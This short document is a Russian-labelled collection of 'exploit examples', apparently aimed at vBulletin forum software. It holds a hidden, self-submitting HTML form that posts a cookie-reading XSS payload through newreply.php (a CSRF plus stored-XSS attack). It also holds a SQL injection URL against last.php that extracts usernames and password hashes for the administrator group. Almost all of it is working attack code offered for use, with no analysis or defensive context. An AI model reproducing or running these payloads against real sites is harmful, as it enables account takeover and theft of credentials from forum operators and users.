примеры сплойтов:

-------------------------Remote.html-------------------------
<form action="http://host/newreply.php" name="vbform"
method="post" style='visibility:hidden'>
<input name="WYSIWYG_HTML"
value="<IMG src="javascript:alert(document.cookie)">"/>
<input name="do" value="postreply"/>
<input name="t" value="123456" />
<input name="p" value="123456" />
<input type="submit" class="button" name="preview"/>
</form>
<script>
document.all.preview.click();
</script>

----------------------------------------------------

last.php?fsel=,user.password%20as%20title,user.%20
%20%20%20username%20as%20lastposter%20FROM%20user,
thread%20%20%20%20%20WHERE%20usergroupid=6%20LIMIT %201

----------------------------------------------------